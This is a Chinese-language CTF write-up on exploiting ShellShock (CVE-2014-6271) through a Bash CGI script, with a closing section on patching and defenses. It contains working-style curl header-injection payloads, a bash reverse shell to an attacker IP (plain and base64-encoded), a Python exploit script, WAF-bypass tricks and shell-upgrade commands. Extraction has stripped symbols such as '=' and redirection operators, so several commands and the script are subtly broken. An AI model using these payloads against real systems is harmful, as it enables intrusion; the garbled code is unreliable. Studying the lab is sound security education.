1. 项目概述从一道题看一个时代的漏洞最近在CTFHub上重温了一道关于ShellShock的经典题目顺手写个详细的Writeup。ShellShock也就是CVE-2014-6271这个2014年爆出来的Bash漏洞在当年可是掀起了轩然大波影响范围之广从个人服务器到大型云平台几乎无一幸免。虽然现在已经是2024年距离漏洞爆发过去了整整十年但它在CTF和网络安全教学中的地位依然稳固堪称“活化石”级别的考点。为什么因为它完美地诠释了“环境变量注入”和“CGI通用网关接口安全”这两个核心且历久弥新的攻击面。这道CTFHub的题目就是一个非常典型的、基于Web CGI的ShellShock漏洞利用场景。它模拟了一个老旧的、使用Bash CGI脚本的Web服务器环境。对于刚接触Web安全的新手来说这道题可能有点“古老”但它的价值在于你能通过一个具体的、可操作的靶场清晰地理解漏洞原理、触发条件、利用手法以及背后的安全思想。这远比单纯阅读漏洞公告和CVE描述要深刻得多。接下来我会带你一步步拆解这道题不仅告诉你“怎么做”更重点剖析“为什么能这么做”以及在实际渗透测试或漏洞复现中你可能会遇到哪些坑又该如何绕过。2. 漏洞原理深度解析Bash函数解析的“后门”要利用ShellShock你必须先吃透它的原理。很多人只知道“在环境变量里加() { :;};就能执行命令”但这远远不够。2.1 核心触发机制函数定义的尾巴Bash shell在启动时会处理一系列的环境变量。其中有一类特殊的环境变量其值以() {开头。Bash会将这些变量识别为“函数定义”并尝试在内存中将其解析为一个可执行的函数以便后续在shell环境中调用。漏洞的根源在于Bash的解析逻辑存在缺陷。在解析完函数体即{}内的内容之后Bash并没有立即停止而是继续执行了函数定义之后的字符串。这就好比你在文件末尾写完了代码但解释器却把文件结束符后面的空白行也当作代码执行了这显然是一个严重的逻辑错误。一个最简单的PoC概念验证如下env x() { :;}; echo vulnerable bash -c echo test我们来拆解这个命令env设置一个临时的环境变量。x() { :;}; echo vulnerable定义环境变量x。其值分为两部分() { :;}这是一个合法的、但什么都不做的Bash函数定义。:是Bash的内建命令相当于一个无操作no-op。echo vulnerable这是函数定义之后的字符串。bash -c “echo test”启动一个新的Bash子shell并执行命令echo test。在一个存在漏洞的Bash版本中执行上述命令你会先看到输出vulnerable然后才是test。这说明echo vulnerable这条本应是环境变量值一部分的字符串被Bash错误地当作命令执行了。这就是ShellShock最核心的利用点我们可以在一个环境变量的值中在函数定义之后“夹带”任意我们想要执行的Bash命令。2.2 Web CGI漏洞的完美发射台理解了漏洞本身我们还需要一个“触发器”。在本地shell中你需要主动设置这样的环境变量并启动Bash。但在网络攻击中更常见的、危害更大的场景是通过Web CGI。CGI是一种古老的Web服务器与外部程序交互的标准。当用户访问一个CGI脚本比如/cgi-bin/status.cgi时Web服务器如Apache会启动这个脚本通常是一个Perl、Python或Bash脚本并将HTTP请求中的许多信息转化为环境变量传递给这个脚本进程。例如HTTP_USER_AGENT- 用户浏览器标识HTTP_REFERER- 来源页面HTTP_COOKIE- Cookie内容关键点来了如果这个CGI脚本是用Bash编写的例如以#!/bin/bash开头或者它通过system()、popen()等函数调用了Bash那么这些由Web服务器设置的环境变量就会被传递到存在漏洞的Bash解释器中。攻击者的攻击思路由此变得清晰构造一个特殊的HTTP请求在某个会被转换为环境变量的HTTP头如User-Agent、Referer中注入包含ShellShock payload的数据。当存在漏洞的Bash CGI脚本被服务器执行时我们的恶意命令就会被触发。注意这里有一个非常重要的细节。CGI标准规定HTTP头中的连字符-在转换为环境变量名时会被替换为下划线_。所以User-Agent头对应环境变量HTTP_USER_AGENTX-Forwarded-For对应HTTP_X_FORWARDED_FOR。你在构造Payload时必须使用下划线。3. 靶场实战CTFHub ShellShock题目详解掌握了原理我们进入实战。CTFHub的这道题通常提供一个简单的Web界面可能只有一个输入框或按钮背后对应一个Bash CGI脚本。3.1 信息收集与漏洞探测第一步永远是信息收集。访问题目给出的URL。查看页面源码按F12看看有没有隐藏的提示、注释或者引用了哪些资源。目录扫描使用dirsearch、gobuster或ffuf等工具扫描常见的CGI目录。经典路径是/cgi-bin/里面可能存放着status.cgi、test.cgi、admin.cgi等脚本。# 使用 gobuster 进行扫描示例 gobuster dir -u http://靶机IP:端口/ -w /usr/share/wordlists/dirb/common.txt -x cgi,sh,pl手动探测CGI即使没有扫描器也可以尝试常见路径如http://靶机IP:端口/cgi-bin/或者直接猜测/cgi-bin/status。假设我们通过扫描或提示发现了目标CGI脚本路径为http://challenge-ip/cgi-bin/status接下来是漏洞探测。我们需要发送一个带有恶意HTTP头的请求测试Bash是否会执行我们注入的命令。最常用的测试方法是命令回显。使用cURL进行探测curl -H “User-Agent: () { :;}; echo; echo ‘VULNERABLE’” http://challenge-ip/cgi-bin/status-H用于指定HTTP头。User-Agent: () { :;}; echo; echo ‘VULNERABLE’这是我们注入的Payload。echo用于输出一个空行让回显更清晰然后输出VULNERABLE字符串。如果页面返回内容中包含了VULNERABLE字样并且不是在HTML注释或正常输出里那就证明漏洞存在Bash执行了echo ‘VULNERABLE’这条命令。为什么用echo; echo因为CGI脚本本身可能有正常输出。先输出一个空行可以让我们注入的命令输出与脚本原有输出在视觉上有所区分更容易识别。3.2 漏洞利用获取命令执行与Flag确认漏洞存在后下一步就是利用它执行更有用的命令最终目标是读取Flag文件。1. 尝试执行系统命令ls查看目录curl -H “User-Agent: () { :;}; echo; /bin/ls -la” http://challenge-ip/cgi-bin/status这里我们直接调用/bin/ls -la列出当前目录即CGI脚本所在目录的详细文件列表。注意我们使用了/bin/ls的绝对路径。这是因为CGI脚本执行时的环境变量PATH可能非常精简不包含/usr/bin等常见路径直接写ls可能会报command not found。使用绝对路径是一个非常重要的习惯。2. 寻找Flag文件从ls的结果中寻找可能包含flag的文件。常见名字有flag、flag.txt、flag.php、.flag、/flag等。也可能flag就在当前目录或者需要向上级目录查找(ls -la ..)。假设我们发现当前目录下有一个文件叫flag_is_here。3. 读取Flag文件内容curl -H “User-Agent: () { :;}; echo; /bin/cat flag_is_here” http://challenge-ip/cgi-bin/status使用/bin/cat命令读取文件内容。如果文件内容直接输出在响应中那么Flag通常就在里面。3.3 进阶利用反弹Shell与深度探索在某些复杂的题目或真实渗透测试中直接回显的命令输出可能被过滤、截断或者我们需要一个交互式的shell来进行更深入的操作。这时就需要“反弹Shell”。反弹Shell的原理是让靶机存在漏洞的服务器主动连接我们控制的一台监听服务器并将其shell的输入输出重定向到这个网络连接上。攻击机Kali Linux上操作在攻击机上开启Netcat监听nc -lvnp 4444-l监听模式-v详细输出-n不解析域名-p 4444指定监听端口可自定义构造包含反弹Shell命令的Payload我们需要将反弹Shell的命令通过HTTP头注入。反弹Shell的命令有很多种这里给出一个最通用的Bash版本bash -i /dev/tcp/攻击机IP/4444 01bash -i启动一个交互式的bash。 /dev/tcp/攻击机IP/4444将标准输出(stdout)和标准错误(stderr)都重定向到TCP连接到攻击机IP:4444。01将标准输入(stdin)重定向到标准输出也就是将我们攻击机发送的数据作为bash的输入。由于这个命令包含特殊字符、直接放在HTTP头里可能会被错误解析。我们需要对它进行URL编码或者使用Base64编码来规避。方法一使用Base64编码推荐更可靠# 在攻击机上编码命令 echo “bash -i /dev/tcp/192.168.1.100/4444 01” | base64 # 输出类似YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo然后构造Payload让靶机解码并执行curl -H “User-Agent: () { :;}; echo; echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo | base64 -d | bash” http://challenge-ip/cgi-bin/status方法二使用sh -c和引号curl -H “User-Agent: () { :;}; /bin/bash -c ‘bash -i /dev/tcp/192.168.1.100/4444 01’” http://challenge-ip/cgi-bin/status如果命令执行成功你会在攻击机的Netcat监听窗口看到一个来自靶机的bash shell提示符接下来你就可以像在本地一样执行lscatwhoami等命令了。实操心得在CTF中反弹Shell常常会因为网络隔离靶机无法访问外网或防火墙规则而失败。因此优先尝试直接回显命令输出cat是更稳妥的做法。反弹Shell是备选方案用于更复杂的场景。4. 工具化利用与脚本编写手动用cURL测试没问题但效率低。我们可以编写简单的Python脚本来自动化探测和利用。#!/usr/bin/env python3 import requests import sys def check_vuln(url): headers {‘User-Agent’: ‘() { :;}; echo; echo “VULNERABLE”’} try: resp requests.get(url, headersheaders, timeout5) if ‘VULNERABLE’ in resp.text: print(f’[] {url} 可能存在 ShellShock 漏洞’) return True else: print(f’[-] {url} 未发现漏洞。’) return False except Exception as e: print(f’[!] 请求失败: {e}’) return False def exploit_cmd(url, cmd): # 注意这里需要对命令进行简单处理比如空格和特殊字符更严谨的做法是使用base64 headers {‘User-Agent’: f’() {{ :;}}; echo; {cmd}’} try: resp requests.get(url, headersheaders, timeout5) # 简单提取命令回显假设脚本正常输出后有一个空行然后是我们的命令输出 lines resp.text.split(‘\n’) # 这是一个简单的提取逻辑实际需要根据靶场响应调整 for i, line in enumerate(lines): if line.strip() ‘’ and i1 len(lines): # 找到空行后的内容 print(‘命令输出:’) print(‘\n’.join(lines[i1:])) break except Exception as e: print(f’[!] 执行命令失败: {e}’) if __name__ ‘__main__’: if len(sys.argv) 3: print(f’用法: {sys.argv[0]} 目标URL 命令’) print(f’示例: {sys.argv[0]} http://靶机/cgi-bin/status “/bin/ls -la”’) sys.exit(1) target_url sys.argv[1] command sys.argv[2] if check_vuln(target_url): exploit_cmd(target_url, command)这个脚本提供了基本的探测和命令执行功能。在实际使用中你需要根据靶场的实际响应格式来调整输出解析逻辑。更强大的工具如Metasploit中有现成的apache_mod_cgi_bash_env_exec模块可以一键化利用但理解手动过程是基础。5. 防御措施与漏洞修复思考作为攻击者我们学会了利用。作为防御者我们更应知道如何防范。ShellShock的修复从根本上说就是升级Bash。立即升级将Bash升级到修复了CVE-2014-6271、CVE-2014-7169等后续相关漏洞的版本。对于主流Linux发行版使用包管理器即可# Ubuntu/Debian sudo apt update sudo apt upgrade bash # CentOS/RHEL/Fedora sudo yum update bash最小权限原则避免使用Bash CGI这是根本解决方法。现代Web应用应使用更安全、更高效的架构如WSGIPython、FastCGIPHP或直接集成到Web服务器模块如mod_php, mod_python。如果必须使用CGI优先考虑Perl、Python等语言并确保其解释器本身是安全的。限制CGI目录权限确保CGI脚本目录如/cgi-bin/的权限严格只有必要的用户和组可以执行。使用WAFWeb应用防火墙配置WAF规则拦截包含() {等特征的恶意HTTP请求头。输入过滤在Web服务器层面如Apache的mod_security或应用层面对传入的HTTP头进行严格的过滤和验证但这种方法属于缓解措施不如升级彻底。6. 常见问题与排查技巧实录在实际操作CTF题目或复现环境时你可能会遇到下面这些问题问题1发送了Payload但没有任何回显或者返回500内部服务器错误。排查思路路径问题最可能的原因是你使用的系统命令如ls,cat不在CGI进程的PATH环境变量中。务必使用绝对路径如/bin/ls,/bin/cat,/usr/bin/whoami。命令语法错误Payload中的空格、分号、引号在HTTP传输中可能被错误处理。尝试使用Base64编码命令如前文所示。CGI脚本非Bash目标CGI脚本可能不是Bash脚本而是Perl或Python写的它们不会调用有漏洞的Bash。确认脚本类型如果有错误信息回显。Bash已修复靶机环境可能使用了已修复漏洞的Bash版本。但CTF题目一般不会。问题2命令有回显但和脚本的正常输出混在一起很难找到Flag。技巧使用唯一标识符在注入的命令中输出一个独特的、容易搜索的字符串作为开始和结束标记。curl -H “User-Agent: () { :;}; echo; echo ‘—START—’; /bin/cat flag; echo ‘—END—’” http://target/cgi-bin/status查看网页源码在浏览器中查看响应“源代码”CtrlU有时HTML标签会干扰显示源码里更清晰。重定向到文件如果可能将命令输出重定向到Web目录下的一个文件然后直接访问该文件。curl -H “User-Agent: () { :;}; /bin/cat /var/www/html/flag /tmp/flag.txt 21” http://target/cgi-bin/status注意这需要你对目录有写权限通常很难。问题3题目有WAF或过滤() { :;};被拦截了。绕过技巧大小写变形尝试() { :;};() { :;};。Bash对函数定义语法解析可能严格但WAF的规则可能不完善。添加空格/制表符在()和{之间、{和:之间插入空格或制表符如() { :;};。Bash解析时可能会忽略这些空白字符。使用其他HTTP头不一定非要用User-Agent。尝试Referer、Cookie、X-Forwarded-For等任何可以被设置为环境变量的头。curl -H “Referer: () { :;}; echo test” http://target/cgi-bin/status编码混淆尝试URL编码或Unicode编码部分字符但要注意服务器端解码的顺序。问题4拿到了反弹Shell但很不稳定容易断开或者无法执行su、sudo等需要tty的命令。技巧升级Shell在反弹的Shell中首先尝试升级到更完整的TTY。# 在反弹的shell中执行 python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ # 或者如果python不可用 script -qc /bin/bash /dev/null使用稳定的Payload除了Bash的/dev/tcp还可以尝试使用其他工具反弹如用Python、Perl、PHP甚至Telnet构造的Payload取决于靶机环境有什么。使用交互式工具考虑使用msfvenom生成Payload并用Metasploit的multi/handler接收稳定性更好功能也更全。这道CTFHub的ShellShock题目就像一把钥匙打开了一扇理解历史重大漏洞和Web安全基础的大门。通过它你不仅学会了一个漏洞的利用更重要的